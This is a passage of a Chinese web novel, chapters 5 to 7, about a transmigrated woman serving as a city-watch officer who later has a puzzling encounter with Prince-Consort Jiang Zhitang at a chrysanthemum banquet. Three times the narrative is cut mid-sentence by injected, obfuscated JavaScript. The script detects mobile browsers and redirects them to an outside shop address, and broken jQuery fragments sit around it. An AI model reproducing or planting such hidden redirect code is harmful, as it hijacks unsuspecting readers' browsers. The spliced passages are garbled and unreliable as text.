“家中小儿刚开蒙。”闻赋光随口接道,她现在的水平可不就跟刚学认字不久的孩子差不多。 掌柜沉吟一下,起身去了书架后面。片刻后带着几本书册转回。 “娘子请看,小娘子们刚开始读书时多学这两册,因是开蒙,小人还拿了本描红字帖。” “行,帮我装好吧。”反正只是学认字的书,买什么都差不多。 见她已经选定,掌柜招呼伙计过来,自己捧着账册进了里间。 一旁伙计上前接过书册,仔细叠好用纸包起来,再用细细的麻绳捆好,还贴心地留了个绳环方便手提。 一边打包,伙计口中闲不住道:“娘子您身量虽高挑,但看着还很年轻呢,没想到令千金都要开蒙了。” 闻赋光在旁边呵呵一笑,“是呀,英年早婚,我家里三代单传,我娘就等着抱孙女呢。”边胡说八道,边又想起来什么,“对了,你们这可有什么有意思的话本子?我平日里闲着没事干,实在无趣。” 这话一出口不知道是触发了行业黑话还是怎么,“喔,这个啊,本店恰好新到了本解闷的册子。”伙计一下就露出“我很懂”的神情,压低声音神神秘秘道。 她弯腰从柜台下方取出一本看着平平无奇的册子,捋着看似不起眼的封面给闻赋光看,“这可都是限量印的,您瞧瞧这纸多好,这里头的画也是活灵活现,保管您看了满意!这客人们争相要买,如今已经没剩几本啦!您要错过了这回,那下次可就难寻咯。” 闻赋光原本问的真是话本子,不过她转念一想,这时候的书上没有标点符号,看话本也还要自己连猜带蒙地断句,有意思程度对她来说恐怕大打折扣,不买也罢。而眼前这本......见这伙计大力推荐,心下松动:“好,这本我也要了!” 闲着没事干的时候可以批判一下嘛。 伙计笑容满面,“诶!小的给您包严实了,保管别人看不出来!” 5. 第 5 章 闻赋光躲在自己屋里认了几天字,顺便养养伤,连中秋的盛大集会都没出门。可能是她还处在新手保护期,明明受伤不轻,恢复得倒是很快。 这几天没人来打扰她,闻家人吃饭是各吃各的。大房就剩她一个了,二房姨母那边两个男儿都嫁了人,唯一的女儿只有七八岁,她们玩不到一起去,往来不多。院子里几个杂役都是老实人,她暂且放下了那些隐约的担忧,养伤认字期间只做一头轻松的猪。 不过做猪也不是毫无收获,她这几天偶然偷听到府里下人干活时聊天,才知道前些年闻家老太君临终前已经做主分了家了。 闻家只有两房,当年老太君的长女即闻赋光之母过世后,老太君深受打击病倒了,是姨母撑起了这个家,因此老太君将除了祖宅和祭田之外的家产一分为三,二房作为主枝要多分一份得两份,大房得一份,这是符合大媱传统的分法。 但这一份家产如今还没到她自己手里,当年老太君顾虑她还是个孩子,要她长大娶夫后方可出府另过。 听到这里,花园里边干活边说主子闲话的几个仆夫被管事的叫走了,闻赋光躲在附近一人高的假山石后面蹲了半晌,他们也没回来继续说完,只好遗憾离去。 大媱女子娶夫年纪不等,诸如皇室宗亲就可能一辈子也不会娶正夫,闻赋光今年十八,这个年纪的娘子多想着先立业后成家,自有家里的长辈先自行相看。 闻赋光琢磨了两天,觉得自己的婚事还是不能交由姨母父做主。姨母是铁了心的觉得自己能复刻闻家老祖宗的从龙之功,若是要姨母做主,她必然会将她的婚事与官场上的利益联系在一起,万一给她强塞一个丑八怪怎么办。 不过夫郎还是要娶的,成了婚她就能顺势搬出闻府,得到属于自己的那份家产,届时怎么支配也不用跟任何人报备。她得物色物色夫郎人选,不求有用,只求不给她生事。 * 闻赋光没能躲在屋里闲太久,某个天朗气清的日子,吏部来人送了敕命文书,闻赋光被授五城兵马司副指挥使之职,即日起去吏部报道办完手续,就要开始上班了。 五城兵马司副指挥使是个正七品官,闻姨母和她对这桩从天而降的差事都并不意外。 好歹闻赋光也是拼命帮姜榓送了回快递,姜榓现在还处在创业初期阶段,对于自己手下的人,但凡是把差事办好了,那出手必然要大方。赏一劝百嘛,否则谁还会跟她混。 上班就上班,上班怎么了?大家都要上班。闻赋光身边没什么东西要收拾,收拾好心情就朝着新工作进发。 虽然跨越了时空,但就如同现代职场生活一般,工作本身或许还算能够应付,处理同事关系却是个小小的难题。 这天日头升得高了,明晃晃地照着京城的练武场,兵器架上的刀兵枪戟被擦拭得锃亮,几十号士卒列着队跑操,队伍松松垮垮,有气无力,一个个的目光却似有似无地瞥向前面的身影——她们的副指挥使,闻赋光。 闻赋光一身品服,身形偏瘦,与周遭人显得格格不入。这些士卒大多是从各地卫所或大营里提拔来的,对这位空降的长官很陌生。 闻赋光喊停,队伍中一阵骚动,没几个人把她放在眼里。 稀稀拉拉好不容易停下列好队,只听得队伍中有人嗤笑了一声,那声音毫不避讳,一时间所有人的目光都看向了队伍前列的闻赋光,那些目光或是不服气,或是戏谑,或是无视。 这样的场面,闻赋光来之前就有预料。 闻赋光看向队伍中的一人,她叫华其真,虎目剑眉,身材高大,皮肤晒得很黑,和另外几个士卒是一起从卫所被提上来的,她为人仗义,营地里的姐妹有困难时往往不吝相助,平时人缘很好,也是这个团体中的小头目,此时隐隐有不少人在看她的反应行事。 华其真直直地望着她,既不挑衅也不打算开口解围,闻赋光心里很清楚,眼前这群人不配合的态度,有一部分也是华其真对她的试探。 “今日诸位姐妹操练敷衍,无非是觉得我年轻,没资格做副指挥使。” “多说无益,今日便在此以武论道。” “我若输了,从此大小事宜任凭你们做主;我若赢了,从此以后各司其职,再无懈怠。不服的,上前来!” “指挥大人,在下阮笛,我来请教。”出列的是一名魁梧女子,一张年轻的娃娃脸配上一身腱子肉,不用上手就知道一定有两下子,她拱了拱手走上前来,主动挑战。 “好啊。” 话音未落,阮笛一声暴喝,如蛮牛冲撞一般,右拳带着破风的力道直捣闻赋光面门,这一拳极重,用上了十成力,被打中头的话可能会变成傻子。 闻赋光不慌不忙地闪身轻巧避开,那拳风堪堪擦过。阮笛改掌为抓向她的肩而去,企图将她压向地面,闻赋光没给她这个机会,她反手扣住阮笛手腕,猛地一拧,趁此机会绕至她身后毫不犹豫地一脚,还没等旁观者看清她是如何使力的,阮笛已经被她借着巧劲死死压制住,动弹不得。 一招见分晓,众人哗然。闻赋光拍了拍阮笛,阮笛抖了抖,爬起来给其他人让路。 ………… 眼见地上趴着的“尸体”越来越多,众人沉默了。 “还有人要上来吗?” 回答闻赋光的是练武场众人挺直的身躯,和满场鸦雀无声。 “今后可能好好共事了?” “是!” 初步搞定了同事关系,闻赋光开始了古代社畜生活。 这个活计兼有现代的城管和消防的职责,如今百姓还算安居乐业,平时在大街上巡逻也多数是处理些诸如商贩之间、商贩和顾客之间、闲人闹事的鸡毛蒜皮的事。 诸如街口这类做生意的核心地段,是小商贩们抢着要占的位,不少商贩凌晨就拉着货挑着担子赶到,用石块等物占位子,先到先得,不过偶尔也有莽撞的会发生冲突,这时候在附近巡逻的官兵就会火速赶到处理。 天光大亮,大媱清晨的街头烟火气十足,闻赋光刚巡过街角的早点摊,打算尝尝新出锅的包子,就听见前方传来一阵喧闹。她快步上前,东市里最热闹的那处摊位前,穿着粗布衣裳,头戴幂篱的年轻男子死死护着手边的布袋,布袋里露出几方绣着各式纹样的绣帕,对面的粗蛮民夫一手叉着腰,一手要去掀他的绣品摊子,嗓门又大又粗:“这摊位明明是我先占的!你个小皮子,别在这里胡搅蛮缠,识相点就赶紧挪开!” 年轻男子急得声音发颤,却仍然死死攥着布袋不肯松手:“明明是我先占的!周围其他摊主都看见了,是你将我的石头丢了,还要把我的东西挪开!你凭什么来抢我的摊位!” 粗蛮民夫冷笑一声:“凭老子力气大!你再犟,老子把你这些破玩意全扔了!” “住手!”闻赋光拨开人群走了进去,沉声道:“别吵了,怎么回事?” 粗蛮民夫见官兵来了,张口就是污蔑:”“大人,是他占着道,不合规矩在先,影响旁人做生意啊,小人实在看不惯。” 这时周遭已经围了一圈看热闹的人,七嘴八舌地帮年轻男子作证,说这摊位并没有占道,确实是他先来的。粗蛮民夫见状,态度也不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705500|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像之前那么强硬,狠狠瞪了一眼年轻男子,仍嘴硬道:“大人,就算是他先来的,可他一个年纪轻轻的小郎,凭什么把着这么好的位置不放!” 闻赋光沉了脸,“是你蛮不讲理在先,现在就离开,若再敢滋事,休怪我无情。” 粗蛮民夫畏于官兵威严,实在无法,不甘地啐了年轻男子一口,悻悻然走了。 人群见没有热闹可看便自行散去,年轻男子上前朝着闻赋光深深屈膝:“多谢大人,若非大人解围,我的摊子就要毁了。” 闻赋光摆摆手,“无妨,分内之事。” 他似乎还想说些什么,闻赋光耳听前方又有动静,顾不得寒暄,转身离开。 这回吵架的是个肉铺,一个老妇正指着摊主孙屠户的鼻子,手里提了块猪肉,叫骂孙屠户缺斤短两,付了一斤肉钱,回家一称只剩九两。孙屠户自不肯认,坚称是老妇家里的称有问题。 闻赋光对处理这样的纠纷已经很熟练了,见二人争执不休,依然没个说法,便借了其他摊主的称来称,一个称的结果或许不足以服人,她一连借了六七杆。 老妇将肉放置称上,大多数称不偏不倚地指向了九两半。 老妇喊到:“大人您看,确实短了我斤两,只有九两半,足足少了半两呢!”孙屠户也松了口气,连忙辩解:“我就说不可能少那么多,只差了半两……许是那会风大,这才有些许误差。” 按照惯例,闻赋光判屠户补给老妇一两肉,这事就算是完了。 忙碌的一上午在吵吵闹闹中度过,下午她不当值,交了班就走人。 秋日有不少新点心上市,闻赋光一手提了壶桂花酒,站在京中有名的点心坊裕杏斋里,见有桂花糖藕、糖蒸酥酪、红豆糕等,这裕杏斋据说驰名大媱,还将分铺开到了南方去,生意如此红火,想必点心也是不差的,她招呼店小二一样各要了一包,美滋滋地提着打道回府。 肖从晗清晨被人找茬抢摊位,好在有那位大人帮助,他不仅守住了摊子还卖完了绣品,似是好运和她一起来临了。卖完后他收了摊子就一直等在路边,来回张望着。他不知道她会不会路过,也不知道她的姓名,只是想在这碰碰运气。 当那个身影真的出现在了街角,他心头一跳,压下想要立刻走过去的冲动,只等闻赋光走近。见她似乎没注意到自己,连忙出声叫住她:“大人。” 闻赋光四处张望谁在说话,在这个没有某信的封建时代,她下了班就自动耳聋眼瞎,不再关心路况,压根没注意路上都有谁。 肖从晗两三步小跑到她面前,“大人,今晨的事我还没有多谢你。” “哦,是你啊。”闻赋光认出这是早上被抢了摊位的男子,“郎君不必客气,找我可有什么事吗?早上那个人又去欺负你了?” 肖从晗浅笑:“不是的,他没敢再来找事,承蒙大人相助,许是托大人的福,今日我的绣品都卖出去了。”顿了顿,他又有些踟蹰道:“娘子,我们先前曾有过一面之缘,不知您是否还记得?” 闻赋光一愣,她来到这里之后还不认识几个男子。 她顺着男子撩开幂篱的动作看去,是一张带着些许文气的脸,看着年约二十上下,“那日在广贤楼,是你?”闻赋光想起来了。那日他似乎与人起了争执,肿着脸跑出雅间和她撞到了一起。今日这脸倒是白净,看着挺人模人样,一点看不出那日的狼狈。 “正是,我姓肖,名从晗,那日还要多谢娘子替我捡起了诗稿,今日又是娘子替我守住了摊位,刚刚收了摊,我就擅自来这里等待,是想答谢娘子。” 6. 第 6 章 肖从晗没提那天在广贤楼的事情缘由,闻赋光也没追问。 他微微低着头,从怀中取出一方绣帕,“我没有什么能回报娘子的,只这一方绣帕是我精心绣的,还请娘子收下。”他虽然尽力掩饰了,但闻赋光还是瞄到那双手上有不少针眼,估计是日日针线不离手的,想来靠这个贴补家用。 他这个年纪,闻赋光有些犹豫:“肖公子打理针线的手法娴熟,想来是常为家事操劳的?” 肖从晗一愣,随即明白过来她心有顾虑:“不是的!我,我不曾嫁人,这块帕子也并没有别的意思......只是,这是我如今所能拿出的最好的东西......” 要收吗?要拒绝吗? 目光瞥见帕子上的绣样时,她眨了眨眼。 这个时代的男子们不是最爱绣些花儿草儿鸳鸯喜鹊吗?为什么眼前这方帕子上有几颗白胖可爱的水蜜桃? 怎么办,她最爱吃水蜜桃,还真是有点喜欢这块绣帕。 附近茶楼上,一人正隔着窗纱,面无表情地注视着街头说话的二人。 见她反应,肖从晗看出来她似乎并不排斥,干脆将帕子塞到她手中就想告辞,这下轮到闻赋光叫住他了。 她要是给钱,恐怕肖从晗也不会收。闻赋光随手塞了一包手上的点心给他。在这个时代,糖依然是贵重的调味品,拿甜点心换一块绣帕,应该很合适。 闻赋光还贴心嘱咐他:“肖公子,你早些回家吧。对了,在街头摆摊卖绣品容易与人争执,你的绣工这么好,不如拿去绣品铺子问问,若能放在铺子里寄售,就不必整日盯着抢着守着摊位了,或许还能有稳定的生意。” “多谢娘子提点,我会去问问的。”肖从晗望着她离开的背影应下,点心还是热的,握在手中只觉有一股暖意窜到心底。他忍不住在街边就将点心打开一看,是一份红豆饼。 * 朝饮木兰之坠露兮,夕餐秋菊之落英。九月九是大媱民众重视的节日,白日里人们要佩茱萸、饮菊花酒、登高。除此以外,京城还由皇家贵人牵头,在琼花台的帝卿别苑举办了一场赏菊宴。 闻赋光也得去,但她不是被请去赴宴的宾客,是被调去干活的。被邀请赴宴的宾客们人多,又都是年轻未婚的官家女男,各家宝贝得很,自是不能出现意外,因此另外抽调了不少人手前去护卫。 主办宴会的是庆康帝卿,当今天家曾有一母同胞的一妹一弟,其妹桂王已经过世了,庆康帝卿是天家仅剩的幼弟。 他向来不沾朝事,自出降后与其驸马整日共赏花草山水,很得天家宠信,是京城男眷中顶顶风光的人物,连宫中内君都要避其锋芒。因此一般也无人敢在帝卿的宴会上挑事,总得来说这还算是个好差事,赏钱多,又不用她们干什么累活脏活。 皇家帝卿的场子,倒是出乎意料地没什么太多规矩,苑中各处都设置了不少桌案,除了室内,花间、水边、亭中等不同景致处各有席位,各处的席位俱用屏风或帘子分隔开来,使坐一起的宾客们可尽情说笑而不必被他人打扰。座位次序也不那么要紧,众人可循着先来后到的规矩,凭喜好入座,对此来赴宴的宾客心中都十分有数。 午时初,宾客们陆陆续续开始入场,场内侍卫不可带兵器,闻赋光身着品服立在花丛附近凉亭处,身旁是她近日的上班搭子阮笛。那日在演武场她和阮笛不打不相识,两个人一起吃过几顿饭,阮笛与她年龄相仿又性情直爽,如今她们关系相当不错。 赏菊宴上最多见的当然是菊花,这一路走来她们同样大饱眼福。有花瓣错落的白菊瑞云殿,毛茸茸白粉渐变的鹅毛粉黛,白绿渐变色的绿天赞,拥簇盛开的蓝色牡丹菊......附近席位上还没来人,阮笛用胳膊肘顶了顶她,“咱们这趟来得真是不亏,我土包子一个,从前看菊花要不是在花市,要不是在山上,还是头一回见这么多名贵菊花呢。” 闻赋光点了点头,“我也没见过,这些都是皇家花匠所出,我家只是小门户,没来过这种场合。” 共事这么久,大家或多或少也对这位副指挥使的出身有些了解,阮笛挑了挑眉,“你家不是有个兄弟嫁进了王府吗,王府总见识过吧?比今日的别院如何?” 闻赋光托着下巴回忆:“见是见过......姨母确实曾带着我和堂妹去怀王府拜见,不过没往花园里去,我们也不敢贸然乱走,也就路过前院进了正堂。”她回想起记忆中的王府,虽然实实在在比闻府规格高多了,然而并没有旁人想象中皇亲国戚府邸的气势恢宏,“王府的气派么,看着是不如帝卿的这所别苑的。” 阮笛想了想,“也是,庆康帝卿到底是天家的亲弟呢。” 两人对视一眼,大媱皇帝常出身于宗室旁枝,因此也防范宗室旁枝。这些亲戚在天家眼中地位微妙,当然是不如亲弟弟的,宗室旁枝在这些细枝末节上也不敢冒犯天家,修府邸自然是力求低调。当然,私底下低调与否那就只能问她们自己了。而庆康帝卿就没这个忧虑,他又一向好玩乐,自然是随着自己的喜好来修府邸别苑。 她们守的这地方偏僻,一时半会恐怕不会来人,两人接着聊下去。 阮笛很快转移了话题:“听说庆康驸马出身淮南游氏,庆康帝卿随驸马住在淮南已有几年了,倒是今年,这就突然回来了,还一回京就办了一场这么大的赏菊宴,邀请了京中五品以上的所有未婚女男,你猜怎么着?” “怎么着?” 阮笛压低了声音:“隔壁巡夜队的朝天骄,她娘不是聚宝记的账房吗?我同她喝过几回酒,听她说......” 朝天骄,这名字真是与众不同。闻赋光无声地笑起来,肩膀颤动。 阮笛气她不专心听,杵了她一下,闻赋光猝不及防被她一推差点歪倒,向她怒目而视,阮笛讪讪一笑:“听我说呀!听她娘说有一位贵人去年在聚宝记下了一大笔重金,聚宝记为了这笔生意,特意多派了一支船队出海去寻珍贵的珠宝。今年船队回来了,交割时她们才知道,这位大主顾就是庆康帝卿。” 闻赋光接着笑完了,正色道:“哦?那就是帝卿要为他家郎君置办嫁妆了?” “我想也是,不过他和驸马并无所出,因此那位肯定不会是他和驸马的郎君,而是重徽郡君。” 闻赋光发现她记忆里好像是有这么一号人物。天家已逝的亲妹桂王曾留下了一位郎君,被交给了庆康帝卿抚养。 “重徽郡君就是桂王的那位遗孤?” “是啊,”阮笛的神色变得崇敬又忧伤:“桂王当年可是被称为玉面战神!至今十多年过去了,军营里至今还会提起她,我常听老兵们说起,她武艺高强,极擅排兵布阵又容貌俊朗,有她在就能横扫千军,天家有了她辅佐如虎添翼,顺利登上帝位,可惜她在西南征伐时年纪轻轻的竟然病逝了,连带着小世子也身亡了,从此她这一脉再无女嗣,只剩一位郡君。” 闻赋光叹了口气,少年英才突然折损,总是令人唏嘘的。见阮笛神色不虞,她努力转移话题:“不知道这位郡君身上可有其母风范呢?听你所说,他若能继承其母的容貌,想必也会是位美人了。” 阮笛的情绪来得快,去得也还算快,顺着她的话回想了一番,道:“我可没这个机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705501|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲眼见到他,只听说容貌是极美的,却不知像不像他母亲了。” “对了,你刚才说的什么来着,所以今日这场赏菊宴有为郡君相看仪宾的意思了,又考虑到京中未婚的女男们,干脆让大家都来凑个热闹,说不准还能凑几对。” 阮笛大赞:“正是!所以今日若是撞上鸳鸯相会,咱们万万要装作没看见,免得招人恨。” 两人叽里咕噜一通小话说得正起劲,闻赋光余光扫见远处有几个华服盛妆,珠翠环绕的身影逐渐靠近,她给阮笛递了个眼神,阮笛立刻懂了,二人火速噤声作鹌鹑状。 来人是几位贵男,叽叽喳喳地说着话朝这边亭子走来,今日秋风微凉,他们一个个似乎并不怕冷,还穿着轻薄的夏装,闻赋光眯着眼睛看着最前面那个一身粉杉的,怎么还敞着胸口露出了点事业线!真是世风日下,人心不古,慷慨大方! 侍卫不用上前端茶倒水,她们立在附近装作自己不存在即可,然而随着他们走近,闻赋光渐渐看清了来人的面孔,深感震惊,立刻把头深深地埋了下去,真心地开始希望自己真的不存在。 出大事了,那个一身粉杉的看着眼熟异常,似乎就是在妘祖庙里被她抵着刀子威胁的那位!她现在能掉头就跑吗,会不会被当成刺客抓起来?闻赋光定了定神,强忍住掉头就跑的身体反应,先静观其变。 眼见他们进了亭子落座,闻赋光僵硬地杵在原地,暗自祈祷这几位继续热火朝天聊下去,千万别一时无聊环视四周发现她。 双方离得有些距离,他们聊天的内容闻赋光这边听不真切,只有零星间飘来几个词:“......绣样......胭脂......发式......”“......书肆......手抄本......派人......引见......重徽......” 闻赋光一直悄悄关注着他们,前面他们一直在聊些胭脂水粉、发式衣衫之类的话题,听得她打哈欠,被她不感兴趣地略过了。然而当耳朵捕捉到关键词时,她猛地打起了精神。 她正埋着头不方便偷看,为了偷看不得不费力地掀起眼帘。亭中地势高,她站的位置低,还等没看到什么有用的,眼珠一阵乱转成功把自己转晕了。 眼前转了几圈小星星后,等她再回过神来,少男们似乎要离开亭子,闻赋光还没来得及松口气,却见有一队宫侍捧着托盘鱼贯而来,而亭中还有一人坐着没动。不仅如此,欲离开的那几道身影还一个个向他行了一礼,方才离开。 闻赋光心头猛地一沉,心中暗暗大呼不妙。 她与生俱来的被动技能之“讲八卦的时候正主一定会刷新在自己周边”生效了。 宫侍们上完菜就恭敬退下了,亭中的一个侍男走过来,看着像要吩咐什么,闻赋光无助地看着他走向阮笛,接着目送小伙伴被喊去跑腿,心中悲凉。 朋友,这有可能是我们见的最后一面了,你怎么不再回头看看我。 沉浸在悲伤中的闻赋光把这不算很长的二十几年人生走马灯了一遍,深感遗憾。等她再回过神,不知何时,连侍立的侍男们都不见了,现在就剩亭外站着的她,和亭中那位一袭粉衫的少男,现在应该叫他重徽郡君了。如此说来他也并不姓游,而姓姜。 “劳烦那边的大人,” 亭中人突然开口,她吓了一跳。 闻赋光心虚,把眼珠子牢牢焊在下面,不敢看他。 他依然坐着,手肘撑在圆桌上,手心托着下巴,视线牢牢锁定在亭外的女子身上,连呼吸都放得很轻。 “我的手帕被风吹走了,可否请你取回?” 7. 第 7 章 顺着他的视线,闻赋光转头看到身后的桂枝上挂着一方素帕,她伸手取下,不情愿地走向亭中递了过去。 “多谢大人,还不知你的姓名?”他伸手接过,好像从来没见过她,仅仅只是对陌生的下属寒暄般自然。 她一噎,朋友,你好像ooc了,那天你在庙里不是这样的...... 不过她很快又释然了:形势比人强。那天他手无寸铁,而她的手上不仅有刀子,还对情况一无所知。俗话说,越是无知的人就越是胆大包天,什么都敢干,且毫无顾忌。如今形式逆转,她也是能屈能伸之人,很会审时度势。 真是中大奖了,她听见自己发出声音:“下官五城兵马司副指挥使,姓闻名赋光,家中姨母任兵部主事。”想了想,又随便行了个乱七八糟的礼,“见过郡君。” 还好,他似乎没有要发难的意思,低下头摩挲着手帕没出声。 见他没反应,闻赋光试探性地转身要站回去继续装鹌鹑,却不料被他清凌凌的声音叫住,“娘子请坐吧,站岗辛苦,不妨坐下喝杯酒水。” 闻赋光缓缓转回来,干笑两声:“多谢郡君好意,只是下官职责在身,不敢擅离。” “不必拘谨,这里只有你和我在,”他收起了手帕,亲自起身攥着她的衣袖,拉她坐下,“附近没有其他人,不用担心。” 闻赋光没有轻举妄动,凭他靠近,浑身紧绷暗自蓄力,警惕他突然暴起。然而他的举动大大超出了她的预料,闻赋光僵硬地任由他拉到桌边,只觉得迷茫。 凑得近了看得更清楚,他今天的妆容十分精心,横卧秋波,淡雅自然,这么近的距离下依然看不到毛孔。望着他双靥上浅金色的鹅蕊,闻赋光一屁股就坐下了,管他的,要杀要剐都随便,反正他要问起那天的事,她就来一个抵死不认。 姜栀棠在她身侧也坐了下来。 闻赋光警惕地观察着他的一举一动,却不想他提起酒壶斟了杯酒,温声道:“秋日里用些清润的好,这是我亲自采了花露酿的菊花酒,闻娘子若不嫌弃,不妨试试合不合口味?” 怎么,在酒里下了毒要毒死她吗?闻赋光伸手去够酒壶,给他也满上一杯,微笑看着他。姜栀棠坦然举杯,一饮而尽。 五,四,三,二,一。 还活着。 而且味道不错。酒中有淡淡的米香,混着菊花特有的微苦,清香四溢,与时令相符。她伸手又倒了一杯,“口感甚佳。” 喝过了酒,他伸手又给她夹了块点心,“我舅舅府上有个做糕点很拿手的陈公公,这是他亲手做的糖蒸粉栗糕,都是秋日里的吃食,配着酒吃,正好解酒意。” 望着那块被放在她前面碗碟中的花型点心,闻赋光只觉得这场面太怪了,任何一个理智尚存的人见到这个场景,恐怕都无法解释他的诡异举动。 但多年的社会生活已经将她捶打得肉质紧实,闻赋光在职场也不是没见过爱发疯的有钱人,她已经掌握了一套适应法则,有时候遇见发疯的人绝不能点破,要顺着他来,否则病情会更严重的。就像哄她领导那只被宠坏的小博美一样,一直顺着他把他好好送走吧。 上午侍卫们要提前入场值守,到现在她也正好有些饿了,不吃白不吃。 不愧是帝卿府的厨子,这块点心一点不干巴,入口绵软,甜而不腻。这时候的糕点常放些她不喜欢的红绿丝和松子仁等,眼前这盘却没放,闻赋光很满意。 再吃了几口就隐隐觉得口感有些熟悉,闻赋光看了他一眼,察觉到她审视的目光,那双剪水秋瞳带着笑意,冲她微眯了眯。 桌上还有其他不少菜,既然动了筷子那就干脆多吃几口,不管要发生什么,她好歹也是饱餐了一顿,不至于做个饿死鬼。况且这桌菜很合她的口味,做得完全不比京中的酒楼差,甚至还略胜一筹。 “娘子觉得,这酒菜,可能配得上秋日的光景?” 人虽然怪里怪气的,反正吃食里没毒,闻赋光懒得揣摩他有什么深意,咽下最后一口,实话实说:“厨子手艺很不错,多谢款待。” 他望着她嘴角沾着的一点碎屑,捻起帕子,微微倾身过去。 闻赋光下意识地一躲,他似乎意识到自己唐突,手一顿,将帕子搁在桌上,往前推了推。 她没接,随手抹了抹嘴,就听到姜栀棠话中带了些小小的哀怨:“娘子不喜欢用帕子吗?” 说实话,自从被请进亭子,闻赋光就一直没闹明白他究竟在干什么,她和他是这种能其乐融融一桌吃饭聊天的关系吗? 根本不熟好吗。 一阵秋风不合时宜地吹来,桌上的素帕极轻,差点又被吹走,她反应极快地将它一把擒住,动作大了些,另一条帕子从袖口晃晃悠悠地飘了出来,其上纹样清晰可见。 姜栀棠显然也看清了,望着上面的蜜桃没有继续说话。 闻赋光泰然自若地捡起来胡乱塞了回去,“没有啊,我挺喜欢的,你看,还带在身上了。” 他披散的长发被风卷起,一缕发丝轻轻触抚到她面颊上,闻赋光被痒得一躲,姜栀棠脸上闪过一丝难以捉摸的情绪,又被很快掩去,再开口时有些掩饰得不慎仔细的艰涩:“那就是不喜欢旁人的帕子了,娘子怀中这条莫非是心悦之人所赠?” “并非如此,不过是见绣样可爱,因此戴在身上。”闻赋光还在琢磨着多吃几口,随口回答道。 姜栀棠状似无意地追问:“那就是买来的?不知是哪家绣铺,竟有如此心思玲珑的绣郎?改日我定要去逛逛。” 这她还真不知道,那天她只是建议肖从晗去绣铺中问问能否寄卖,也不知道他去了没有,又去了哪家。 “是出自一位摆摊的绣郎,当差的时候我帮他赶走了闹事之人,他要答谢我,我不想白收他的,就用一包点心换了这块帕子。至于他之后还会不会卖绣品,这我也不知道呢。” 言罢,姜栀棠微微一笑,终于放过了这个话题,取了桌上的一只橙子给她。 他们在亭中坐了有一会了,姜栀棠都没有要离开的意思,看起来闲得慌。闻赋光见橙子皮已经被切出一个盖子,动手掀开,原来这道菜是以橙为器、蟹肉做馅,小小的一个橙子中装的都是蟹肉。 她从前也因为好奇去尝过蟹酿橙,味道着实令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705502|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人大失所望,据说是因为古代和现代的橙子不是同一种,因而难以复刻。而眼前的这道......闻赋光伸手夹了一筷子,出乎意料的不错。 爽吃。 闻赋光此时能确信他没有毒杀自己的意思了,却真有些好奇,“郡君准备了这一桌菜,自己为何不动筷?”总不能是专门为她准备的吧,哈哈哈哈哈哈。 姜栀棠并未直接回答,反问她:“娘子这可是关切于我?” 闻赋光很想说没有,她只是单纯有点好奇,但是望着那双蕴含水色的眼,还是没有说出口,结结巴巴道:“我,下官不希望,不希望郡君错过大好秋景。” “原来如此,”他露出有些苦恼的神情,“可我的碗碟空空。” ? 他这话没头没尾的,她却神奇地理解了其中真正的意思。 可是这像话吗? 闻赋光惊呆了,但是此刻她已经被他,以及她自己架起来了,顿了顿,她还是伸手颤巍巍地夹过一口菜,也没管是什么,放进了他面前的碗中,“请用。” “多谢娘子了。” 她没敢看姜栀棠的神情,在心里吹着口哨,缓解那股流过四肢百骸的不自在。 一时无话,闻赋光吃饱了,顺手把玩着桌上状似荷叶的茶盏,因烧得有趣,她一时沉浸其中,没听清姜栀棠说话。 疑惑抬头,姜栀棠耐心极佳地重复了一遍:“娘子若用完饭了,不如走走消消食?” 闻赋光也明白过来了,他这是有话要说。“好啊。” 两人行走在园间小道上,姜栀棠率先开口:“今日的菊花,娘子可喜欢?” 闻赋光摆出标准营业微笑:“帝卿府的花匠所出,当然是极好的。只是我一介武妇,不过是走马观花,看个热闹。倒是郡君,如鲜花般的男子,应当珍惜青春,别错过了好年华才是。” “娘子说得是。”姜栀棠轻轻叹了口气,“你也看到了,刚才我同其他人一同来到亭中说话,他们之中,有一位是我族弟,姜菱菱。” 闻赋光一愣,没想到他说起了一个不相关的人。 姜菱菱是谁? 看出了她的疑惑,姜栀棠主动解释:“娘子不熟悉贵男们的闺名,他是林阳王府的二郎君,姜栯的胞弟。” “我随舅舅在淮南久居,不久前才回来,在京中并无交好的友人。与这位族弟,从前也并没有多熟稔,他喜好谈论诗词,我和他只是点头之交。最近,他却经常递帖子来我府上,或邀我出门,娘子觉得,这是为何?” 闻赋光恍然大悟,她曾也听人说起过此人,只是从没见过。他这话牵扯到林阳王府,再结合当前局势,心下就有了些许猜测,因有所顾虑,闻赋光只点了点头:“自是有利可图。” “正是,”姜栀棠抬手抚过路边花枝,转身望着她:“姜栯想要做媒,替她父族的表姐求娶我过门。” “她的表姐?” 